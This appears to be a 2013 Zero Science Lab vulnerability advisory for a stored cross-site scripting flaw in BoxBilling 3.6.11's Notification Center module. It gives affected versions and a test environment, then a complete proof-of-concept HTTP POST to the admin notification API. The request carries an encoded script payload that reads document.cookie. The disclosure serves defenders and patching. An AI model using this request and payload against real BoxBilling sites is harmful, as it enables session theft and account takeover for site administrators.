BoxBilling 3.6.11 Cross Site Scripting

`  
BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability  
  
  
Vendor: BoxBilling  
Product web page: http://www.boxbilling.com  
Affected version: 3.6.11 (mod_notification 1.0.0)  
  
Summary: BoxBilling is a free billing, invoicing & client management software.  
  
Desc: BoxBilling suffers from a stored cross-site scripting vulnerability.  
Input passed to the 'message' POST parameter thru the 'Notification Center'  
extension/module is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's  
browser session in context of an affected site.  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.4.2 (Win32)  
PHP 5.4.7  
MySQL 5.5.25a  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2013-5163  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php  
  
  
05.12.2013  
  
--  
  
  
POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://localhost/boxbilling/bb-admin.php/notification  
Content-Length: 66  
Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E  
`